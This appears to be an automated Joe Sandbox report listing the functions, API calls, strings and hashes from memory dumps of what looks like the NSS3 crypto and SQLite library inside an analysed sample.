Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: ed1063d989fac389b833c0755a5e6904978003877d33be4d3741685e7363a724
Instruction ID: 5e9b3184ab13eb0b3d9a863065543b316b58b7dff7089cbe23057763a8920dd4
Opcode Fuzzy Hash: ed1063d989fac389b833c0755a5e6904978003877d33be4d3741685e7363a724
Instruction Fuzzy Hash: 3E02DEB2A042015BE7149EB1988A72B76E1BBC530CF14893CD95A87B01EB74E847C7DB

Function 6C727C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C727C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C727C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C727D1E

Part of subcall function 6C727870: SECOID_FindOID_Util.NSS3(?,?,?,6C7291C5), ref: 6C72788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C727D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C727D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C727DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C727DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C727DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C727E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C727E58

Part of subcall function 6C727870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7291C5), ref: 6C7278BB
Part of subcall function 6C727870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7291C5), ref: 6C7278FA
Part of subcall function 6C727870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7291C5), ref: 6C727930
Part of subcall function 6C727870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7291C5), ref: 6C727951
Part of subcall function 6C727870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C727964
Part of subcall function 6C727870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C72797A
Part of subcall function 6C727870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C727988
Part of subcall function 6C727870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C727998
Part of subcall function 6C727870: free.MOZGLUE(00000000), ref: 6C7279A7
Part of subcall function 6C727870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7291C5), ref: 6C7279BB
Part of subcall function 6C727870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7291C5), ref: 6C7279CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C727E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C727F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C727F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C727FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C727FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C728038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C728050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C728093
SECOID_FindOID_Util.NSS3 ref: 6C727F29

Part of subcall function 6C7207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6C8298,?,?,?,6C6BFCE5,?), ref: 6C7207BF
Part of subcall function 6C7207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7207E6
Part of subcall function 6C7207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C72081B
Part of subcall function 6C7207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C720825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C728072
SECOID_FindOID_Util.NSS3 ref: 6C7280F5

Part of subcall function 6C72BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C72800A,00000000,?,00000000,?), ref: 6C72BC3F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: ea7e4621bec38cf1a093f34b71a77c280d171f02f762c74b808dd74509099bdc
Instruction ID: d9c5b7caf2630c61b30a4f48c20fd059c760770c5777e6fa801b1759229ab0b3
Opcode Fuzzy Hash: ea7e4621bec38cf1a093f34b71a77c280d171f02f762c74b808dd74509099bdc
Instruction Fuzzy Hash: 5AE1A071A083009FD710CF28CA84B5BB7E5EF45318F14496DE98A9BB51E73AEC45CB52

Function 6C6B1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C6B1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C6B1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C6B1CA1
GetLengthSid.ADVAPI32(?), ref: 6C6B1CA9
malloc.MOZGLUE(00000000), ref: 6C6B1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6B1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C6B1CE4
GetLengthSid.ADVAPI32(?), ref: 6C6B1CEC
malloc.MOZGLUE(00000000), ref: 6C6B1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6B1D0F
CloseHandle.KERNEL32(?), ref: 6C6B1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C6B1D4D
GetLastError.KERNEL32 ref: 6C6B1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C6B1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C6B1D7A

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: d0db09c4b6f0aa3b993f508bef95282fef7c7dc60175f8b0114c2b4fd58dd7b1
Instruction ID: 8ddce8d03120f7c6237feccadb6eebded81c9e5c9eb6a8fb9c3d85003415b85c
Opcode Fuzzy Hash: d0db09c4b6f0aa3b993f508bef95282fef7c7dc60175f8b0114c2b4fd58dd7b1
Instruction Fuzzy Hash: 673173F1600219AFEB21AF64CC49BAA7BF8FF4A348F004075F60992511E7305E94CFA5

Function 6C6B3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B3DFB
__allrem.LIBCMT ref: 6C6B3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6B4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6B40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B415F
__allrem.LIBCMT ref: 6C6B416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B42AB
__allrem.LIBCMT ref: 6C6B42B7

Strings

%02d, xrefs: 6C6B4086
%03d, xrefs: 6C6B42E8
%lld, xrefs: 6C6B3FB2
%04d, xrefs: 6C6B407B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3a8fbf038203eb2bf3206311caa49b63dca5d06990846cafb7e0c8fa3069da7b
Instruction ID: c4ed2079c59a35486f7175d5dfacd7ddc5f2bef5e55e72a56389d7ccad038a36
Opcode Fuzzy Hash: 3a8fbf038203eb2bf3206311caa49b63dca5d06990846cafb7e0c8fa3069da7b
Instruction Fuzzy Hash: 8BF13471A087409FD715CF38C880AAAB7FAAF85304F148A2DF585A7751EB70E456CB46

Function 6C661C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C661D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C661EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C661FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C661F83
abort due to ROLLBACK, xrefs: 6C662223
sqlite_master, xrefs: 6C661C61
no more rows available, xrefs: 6C662264
another row available, xrefs: 6C662287
table, xrefs: 6C661C8B
attached databases must use the same text encoding as main database, xrefs: 6C6620CA
unsupported file format, xrefs: 6C662188
sqlite_temp_master, xrefs: 6C661C5C
unknown error, xrefs: 6C662291

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 012099cb57bb00c7eeb5ab814ccad2eded16e3909366d2c481d683d6273a6f2f
Instruction ID: 7db2c63cb7a1d65307cdb8529c4892f37f2e162e1cb93fd0ebefba61f59a2e2a
Opcode Fuzzy Hash: 012099cb57bb00c7eeb5ab814ccad2eded16e3909366d2c481d683d6273a6f2f
Instruction Fuzzy Hash: 7612BD706083418FD715CF1AC484A5AB7F2BF85318F18896DE9958BF52D731E84ACB8B

Function 6C75DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C737FFA,00000000,?,6C7623B9,00000002,00000000,?,6C737FFA,00000002), ref: 6C75DE33

Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890AB
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890C9
Part of subcall function 6C789090: EnterCriticalSection.KERNEL32 ref: 6C7890E5
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C789116
Part of subcall function 6C789090: LeaveCriticalSection.KERNEL32 ref: 6C78913F

Part of subcall function 6C75D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C75DE74,6C737FFA,00000002,?,?,?,?,?,00000000,6C737FFA,00000000,?,6C7623B9,00000002), ref: 6C75D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C737FFA,00000000,?,6C7623B9,00000002,00000000,?,6C737FFA,00000002), ref: 6C75DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C75DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C75E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C75E121
PK11_FreeSymKey.NSS3(?), ref: 6C75E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C75E195
PR_GetCurrentThread.NSS3 ref: 6C75E1FC

Part of subcall function 6C752460: PR_SetError.NSS3(FFFFE005,00000000,6C7F7379,00000002,?), ref: 6C752493

Strings

handshake data, xrefs: 6C75DFF7
application data, xrefs: 6C75DFE0
key, xrefs: 6C75E046
early application data, xrefs: 6C75DFC9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 6c3d9d7af9f6f08431d55e901f7446c05690d7da24d891b536a95a59e656eb74
Instruction ID: 486cffa349b866248d5865fd1b71fbb9b77b7ed5e1bf996c57ef0a043173fb3b
Opcode Fuzzy Hash: 6c3d9d7af9f6f08431d55e901f7446c05690d7da24d891b536a95a59e656eb74
Instruction Fuzzy Hash: 74C12871B002099BDB04CF65CEC4BAAB7B4FF08308F544138E9199BB51EB35E965CBA1

Function 6C64ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C64ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C64EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C64EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C64EF98

Strings

database corruption, xrefs: 6C64F48D
%s at line %d of [%.10s], xrefs: 6C64F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C64F483

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 25437443097c0c3fda3731344ba7615b41dbd0d8987aceacb1147dd1b0619095
Instruction ID: 48ecda53627c7942e7e672af95e54aef0fd14200f9c14b2dfd0a891dce931c76
Opcode Fuzzy Hash: 25437443097c0c3fda3731344ba7615b41dbd0d8987aceacb1147dd1b0619095
Instruction Fuzzy Hash: 42621230A04245CFEB14CF64C484BAABBF2BF45318F18C199D8455BB92D735E886CBDA

Function 6C6EFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C6EFD06

Part of subcall function 6C6EF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C6EF696
Part of subcall function 6C6EF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C6EF789
Part of subcall function 6C6EF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C6EF796
Part of subcall function 6C6EF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C6EF79F
Part of subcall function 6C6EF670: SECITEM_DupItem_Util.NSS3 ref: 6C6EF7F0

Part of subcall function 6C713440: PK11_GetAllTokens.NSS3 ref: 6C713481
Part of subcall function 6C713440: PR_SetError.NSS3(00000000,00000000), ref: 6C7134A3
Part of subcall function 6C713440: TlsGetValue.KERNEL32 ref: 6C71352E
Part of subcall function 6C713440: EnterCriticalSection.KERNEL32(?), ref: 6C713542
Part of subcall function 6C713440: PR_Unlock.NSS3(?), ref: 6C71355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C6EFDAD

Part of subcall function 6C71FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6C9003,?), ref: 6C71FD91
Part of subcall function 6C71FD80: PORT_Alloc_Util.NSS3(A4686C72,?), ref: 6C71FDA2
Part of subcall function 6C71FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C72,?,?), ref: 6C71FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C6EFE00

Part of subcall function 6C71FD80: free.MOZGLUE(00000000,?,?), ref: 6C71FDD1

Part of subcall function 6C70E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C70E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6EFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C6EFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C6EFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6EFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6EFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C6EFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6EFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C6F0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C6F0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C6F0044

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 2f0d00723b5688dad25033c21441ed6dff7d9ba870e819e058afcbdbce9da459
Instruction ID: cb498b6e61d5c828d2287d0420e7ee75f5130c400ac9eebbd01a2d741a4d0179
Opcode Fuzzy Hash: 2f0d00723b5688dad25033c21441ed6dff7d9ba870e819e058afcbdbce9da459
Instruction Fuzzy Hash: F6B1F7B1609301AFE304CF29D844A6AF7E5FF88318F148A1DF99D87A41E730E945CB96

Function 6C6E7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C6E7DDC

Part of subcall function 6C7207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6C8298,?,?,?,6C6BFCE5,?), ref: 6C7207BF
Part of subcall function 6C7207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7207E6
Part of subcall function 6C7207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C72081B
Part of subcall function 6C7207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C720825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6E7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C6E7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C6E7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C6E7F98
PK11_FreeSymKey.NSS3(?), ref: 6C6E7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6E7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C6E8000

Part of subcall function 6C709430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C6E7F0C,?,00000000,00000000,00000000,?), ref: 6C70943B
Part of subcall function 6C709430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C70946B
Part of subcall function 6C709430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C709546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6E8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C6E811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6E822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6E823C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 1581566a6db5aad8763f9f12c8f1ae0f3afd8d0f0ff9292170f8cb266e67c498
Instruction ID: a0ea73d3e485e9f0a3de5b526ca7b40b5daad027b49f1a64f74e52891bfde7d2
Opcode Fuzzy Hash: 1581566a6db5aad8763f9f12c8f1ae0f3afd8d0f0ff9292170f8cb266e67c498
Instruction Fuzzy Hash: 19C171B1D452199FEB21CF14CC44FEAB7B8AB19308F0081E6E91DA6651E7319E85CFA4

Function 6C65AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C77CF46,?,6C64CDBD,?,6C77BF31,?,?,?,?,?,?,?), ref: 6C65B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C77CF46,?,6C64CDBD,?,6C77BF31), ref: 6C65B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C77CF46,?,6C64CDBD,?,6C77BF31), ref: 6C65B0A2
CloseHandle.KERNEL32(?,?,6C77CF46,?,6C64CDBD,?,6C77BF31,?,?,?,?,?,?,?,?,?), ref: 6C65B100
sqlite3_free.NSS3(?,?,00000002,?,6C77CF46,?,6C64CDBD,?,6C77BF31,?,?,?,?,?,?,?), ref: 6C65B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C77CF46,?,6C64CDBD,?,6C77BF31), ref: 6C65B12D

Part of subcall function 6C649EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C65C6FD,?,?,?,?,6C6AF965,00000000), ref: 6C649F0E
Part of subcall function 6C649EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6AF965,00000000), ref: 6C649F5D

Strings

`}l, xrefs: 6C65B0DF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `}l
API String ID: 3155957115-1169221552
Opcode ID: 8c5a8005902dd13e3fe641617675e233fdd89636ed91f2daeb63be7ffca5c4c7
Instruction ID: 58f1c30e4dfffd71ed6ffb6d18ffdd810f99cfaa0687cf66c4a70625a2d589ea
